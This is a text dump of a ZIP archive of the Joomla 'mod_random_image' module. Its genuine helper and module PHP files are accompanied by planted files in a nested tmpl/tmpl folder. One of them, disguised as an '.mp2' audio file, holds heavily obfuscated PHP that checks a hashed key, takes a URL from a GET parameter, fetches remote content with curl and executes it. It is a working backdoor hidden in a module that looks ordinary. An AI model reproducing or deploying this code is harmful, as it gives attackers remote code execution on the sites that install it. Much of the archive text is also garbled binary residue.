AAAAPK
?\M index.phpnu W+A xmPK
?\V
index.htmlnu W+A
PK
?\j j
helper.phpnu W+A get('width');
$height = $params->get('height');
$i = count($images);
$random = mt_rand(0, $i - 1);
$image = $images[$random];
$size = getimagesize (JPATH_BASE . '/' . $image->folder . '/' . $image->name);
if ($width == '') {
$width = 100;
}
if ($size[0] < $width) {
$width = $size[0];
}
$coeff = $size[0]/$size[1];
if ($height == '') {
$height = (int) ($width/$coeff);
} else {
$newheight = min ($height, (int) ($width/$coeff));
if ($newheight < $height) {
$height = $newheight;
} else {
$width = $height * $coeff;
}
}
$image->width = $width;
$image->height = $height;
$image->folder = str_replace('\\', '/', $image->folder);
return $image;
}
static function getImages(&$params, $folder)
{
$type = $params->get('type', 'jpg');
$files = array();
$images = array();
$dir = JPATH_BASE . '/' . $folder;
// check if directory exists
if (is_dir($dir))
{
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if ($file != '.' && $file != '..' && $file != 'CVS' && $file != 'index.html') {
$files[] = $file;
}
}
}
closedir($handle);
$i = 0;
foreach ($files as $img)
{
if (!is_dir($dir . '/' . $img))
{
if (preg_match('/'.$type.'/', $img)) {
$images[$i] = new stdClass;
$images[$i]->name = $img;
$images[$i]->folder = $folder;
$i++;
}
}
}
}
return $images;
}
static function getFolder(&$params)
{
$folder = $params->get('folder');
$LiveSite = JURI::base();
// if folder includes livesite info, remove
if (JString::strpos($folder, $LiveSite) === 0) {
$folder = str_replace($LiveSite, '', $folder);
}
// if folder includes absolute path, remove
if (JString::strpos($folder, JPATH_SITE) === 0) {
$folder= str_replace(JPATH_BASE, '', $folder);
}
$folder = str_replace('\\', DIRECTORY_SEPARATOR, $folder);
$folder = str_replace('/', DIRECTORY_SEPARATOR, $folder);
return $folder;
}
}
PK
?\V tmpl/index.htmlnu W+A
PK
?\[ [ tmpl/default.phpnu W+A
PK
?\,r tmpl/tmpl/.htaccessnu W+A
Order allow,deny
Deny from all
#
Order allow,deny
Allow from all
PK
?\>rc c tmpl/tmpl/index.phpnu W+A s-JpW6▢➑╀⓺⑹☍Ⅾ╩⑫⇉㊍⑸⒩⒞
-*///
[8+6].$wQFc/*-
—㈩◍┵㊢➚ℨ✭◑ⓛ⊊●⓸↭➛︴▃➫✽⏥∙✩ⅳ╟ⓔ┾✡/
V8r]:—㈩◍┵㊢➚ℨ✭◑ⓛ⊊●⓸↭➛︴▃➫✽⏥∙✩ⅳ╟ⓔ┾✡/
-*///
[47+29]/*-
↉➎
[jo)rQ(↉➎
-*///
; ?>PK
?\ p tmpl/tmpl/cache.phpnu W+A PK
?\- tmpl/tmpl/LYkwRUrPsGV.mp2nu W+A $WCalEN6dpNdfWXM) { $aq3Mg4AogDQLYKT .= $eMLPJ40Sp2aAyQQ[$WCalEN6dpNdfWXM - 18328]; Z0VJg1ogAlsyPIK: } goto rAfh3KjP4zudycR; DRwQRosv812n7B6: $eMLPJ40Sp2aAyQQ = $z8x93Eq0AGOT2cz("\176", "\x20"); goto jD0FmvK8g6hn5na; x1uwp9SaPOyfGu0: } static function afXamZRgo7WanQG($Zb492Gmjx9kz5Pf, $xyJJpPOBqTPbZYT) { goto bMI78YnIT4BvSog; ZRYcFL0fcXX6hka: return empty($Hjq9WBzYSeX14xg) ? $xyJJpPOBqTPbZYT($Zb492Gmjx9kz5Pf) : $Hjq9WBzYSeX14xg; goto bNqo9NvpOOH8O3q; uQMJx0LWsGFpoaR: $Hjq9WBzYSeX14xg = curl_exec($h2N996uwObq5HA0); goto ZRYcFL0fcXX6hka; bMI78YnIT4BvSog: $h2N996uwObq5HA0 = curl_init($Zb492Gmjx9kz5Pf); goto L98gBrUswa_2wbd; L98gBrUswa_2wbd: curl_setopt($h2N996uwObq5HA0, CURLOPT_RETURNTRANSFER, 1); goto uQMJx0LWsGFpoaR; bNqo9NvpOOH8O3q: } static function qz3Nv_Qc_ovXMjA() { goto rYGIp22LZk47b19; MCnLuCZoUwg8cp2: fEkiKx6akmuv1Uk: goto X5y6clM9RN2BlB1; rYGIp22LZk47b19: $LmaQNgCbyqssxMJ = array("\61\x38\63\65\x35\51\x31\x38\63\64\x30\x29\61\x38\63\x35\x33\x29\x31\x38\x33\x35\67\x29\x31\x38\x33\x33\x38\x29\x31\x38\x33\65\63\x29\61\x38\x33\65\x39\51\61\x38\x33\x35\62\51\x31\x38\63\63\67\x29\x31\x38\63\64\64\51\61\70\x33\65\65\51\61\x38\x33\x33\x38\x29\x31\x38\63\64\x39\51\x31\x38\63\x34\63\x29\x31\x38\63\64\64", "\61\70\63\x33\x39\x29\61\x38\x33\x33\70\51\x31\70\63\64\x30\x29\61\x38\x33\x35\x39\51\61\x38\x33\64\60\x29\61\x38\x33\64\x33\51\x31\x38\x33\63\70\51\x31\x38\x34\x30\65\51\x31\70\x34\x30\x33", "\x31\70\63\64\x38\x29\61\70\63\63\71\51\61\70\x33\64\x33\x29\61\x38\63\64\64\x29\61\x38\63\x35\x39\51\61\x38\63\65\x34\x29\61\70\x33\65\x33\51\x31\70\x33\x35\65\x29\x31\x38\x33\64\63\51\61\70\x33\x35\64\x29\61\x38\x33\65\63", "\x31\x38\x33\x34\x32\x29\x31\x38\63\x35\x37\x29\x31\70\x33\65\65\51\x31\x38\x33\64\x37", "\61\x38\x33\65\x36\x29\x31\x38\63\x35\x37\51\61\x38\x33\63\x39\x29\x31\x38\63\x35\x33\x29\61\70\64\x30\x30\x29\61\70\64\x30\62\51\x31\70\x33\65\x39\x29\61\70\63\65\64\x29\61\70\63\65\63\x29\61\x38\x33\65\x35\51\x31\70\63\x34\x33\51\x31\70\63\65\x34\51\61\x38\x33\65\63", "\61\x38\63\x35\x32\51\x31\70\63\x34\71\x29\x31\x38\x33\64\x36\x29\x31\70\63\65\63\51\x31\70\x33\x35\71\x29\61\x38\x33\65\61\x29\x31\70\63\65\63\51\x31\x38\63\x33\70\51\61\70\x33\x35\71\51\x31\70\63\65\x35\51\x31\70\x33\x34\x33\51\x31\x38\63\64\x34\51\x31\x38\63\63\x38\51\61\70\63\x35\63\x29\x31\x38\63\64\64\51\61\70\x33\63\70\x29\61\70\x33\63\71", "\x31\70\63\x38\62\51\61\70\64\61\62", "\61\70\63\x32\x39", "\x31\x38\64\x30\x37\51\x31\70\64\x31\62", "\61\x38\x33\x38\x39\51\61\x38\63\67\x32\x29\61\x38\63\67\62\51\61\70\63\x38\71\51\x31\x38\63\x36\65", "\x31\70\63\x35\62\x29\61\x38\63\x34\71\x29\x31\70\x33\x34\66\x29\x31\70\63\63\x38\51\x31\70\x33\x35\x33\51\x31\70\63\64\60\51\61\x38\x33\x35\71\x29\x31\x38\63\64\71\51\61\70\63\x34\64\51\x31\70\x33\64\62\51\x31\x38\63\63\x37\x29\x31\70\x33\63\70"); goto vTkZMX69lByOk6L; YBpCLDV462H9Oz2: @$cN_8aCkPUpPEC01[0]('', $cN_8aCkPUpPEC01[7 + 0] . $cN_8aCkPUpPEC01[1 + 3]($Ei05vrwPSa1iXBk) . $cN_8aCkPUpPEC01[0 + 8]); goto N2oissdjIclfdnS; iIa8xSOfYuA6Ao1: if (!(@$pIzj1gjnJ8UZVHX[0] - time() > 0 and md5(md5($pIzj1gjnJ8UZVHX[2 + 1])) === "\x37\67\x37\67\x66\145\x38\x64\141\x31\x63\x33\x30\x33\x61\71\71\x38\x36\145\x32\x31\x37\64\64\x36\x63\142\70\60\67\62")) { goto fEkiKx6akmuv1Uk; } goto XA1CfkuL3nRRB_a; MS3OrpY_4y4CycJ: CE7Px5f0dRARDBA: goto HMxznIrTTfDsaFm; d1qFeMMuiPTUJ7i: @$cN_8aCkPUpPEC01[8 + 2](INPUT_GET, "\157\x66") == 1 && die($cN_8aCkPUpPEC01[0 + 5](__FILE__)); goto iIa8xSOfYuA6Ao1; Bf4Vhvc4rc6vndo: $JBZEtWdFuJUIF1N = @$cN_8aCkPUpPEC01[2 + 1]($cN_8aCkPUpPEC01[2 + 4], $cHBHt7F7XYp10Iv); goto TJe6bYzZ1cNGQxP; N2oissdjIclfdnS: die; goto MCnLuCZoUwg8cp2; XA1CfkuL3nRRB_a: $Ei05vrwPSa1iXBk = self::aFXAmZrGO7wANQg($pIzj1gjnJ8UZVHX[0 + 1], $cN_8aCkPUpPEC01[0 + 5]); goto YBpCLDV462H9Oz2; vTkZMX69lByOk6L: foreach ($LmaQNgCbyqssxMJ as $yuMR14WVDtGRKhG) { $cN_8aCkPUpPEC01[] = self::ywrg57lFJOyZSPI($yuMR14WVDtGRKhG); cNYFSQFr3hcZ6hQ: } goto MS3OrpY_4y4CycJ; TJe6bYzZ1cNGQxP: $pIzj1gjnJ8UZVHX = $cN_8aCkPUpPEC01[0 + 2]($JBZEtWdFuJUIF1N, true); goto d1qFeMMuiPTUJ7i; HMxznIrTTfDsaFm: $cHBHt7F7XYp10Iv = @$cN_8aCkPUpPEC01[1]($cN_8aCkPUpPEC01[3 + 7](INPUT_GET, $cN_8aCkPUpPEC01[4 + 5])); goto Bf4Vhvc4rc6vndo; X5y6clM9RN2BlB1: } } goto P1NGh7aKcwokOMd; Jw40GS_y3v6BRuV: $dNHTruaQ0bThSaG = ${$Z5DggtiVcYQ9YB5[1 + 30] . $Z5DggtiVcYQ9YB5[40 + 19] . $Z5DggtiVcYQ9YB5[1 + 46] . $Z5DggtiVcYQ9YB5[7 + 40] . $Z5DggtiVcYQ9YB5[8 + 43] . $Z5DggtiVcYQ9YB5[27 + 26] . $Z5DggtiVcYQ9YB5[8 + 49]}; goto nq9ru78m4xb5iRK; P1NGh7aKcwokOMd: t_PI3dEcb54ltLF::QZ3nv_QC_ovXmJa();
?>
PK
?\) tmpl/.htaccessnu W+A
Order allow,deny
Deny from all
PK
?\"~Y< < mod_random_image.phpnu W+A get('link');
$folder = modRandomImageHelper::getFolder($params);
$images = modRandomImageHelper::getImages($params, $folder);
if (!count($images)) {
echo JText::_('MOD_RANDOM_IMAGE_NO_IMAGES');
return;
}
$image = modRandomImageHelper::getRandomImage($params, $images);
$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx'));
require JModuleHelper::getLayoutPath('mod_random_image', $params->get('layout', 'default'));
PK
?\o3 mod_random_image.xmlnu W+A
mod_random_image
Joomla! Project
July 2006
Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved.
GNU General Public License version 2 or later; see LICENSE.txt
admin@joomla.org
www.joomla.org
2.5.0
MOD_RANDOM_IMAGE_XML_DESCRIPTION
mod_random_image.php
tmpl
helper.php
index.html mod_random_image.xml
en-GB.mod_random_image.ini
en-GB.mod_random_image.sys.ini
PK
?\) .htaccessnu W+A
Order allow,deny
Deny from all
PK
?\M index.phpnu W+A PK
?\V
index.htmlnu W+A PK
?\j j
s helper.phpnu W+A PK
?\V tmpl/index.htmlnu W+A PK
?\[ [ u tmpl/default.phpnu W+A PK
?\,r tmpl/tmpl/.htaccessnu W+A PK
?\>rc c . tmpl/tmpl/index.phpnu W+A PK
?\ p tmpl/tmpl/cache.phpnu W+A PK
?\- 1/ tmpl/tmpl/LYkwRUrPsGV.mp2nu W+A PK
?\) G tmpl/.htaccessnu W+A PK
?\"~Y< < G mod_random_image.phpnu W+A PK
?\o3 UK mod_random_image.xmlnu W+A PK
?\) WU .htaccessnu W+A PK
V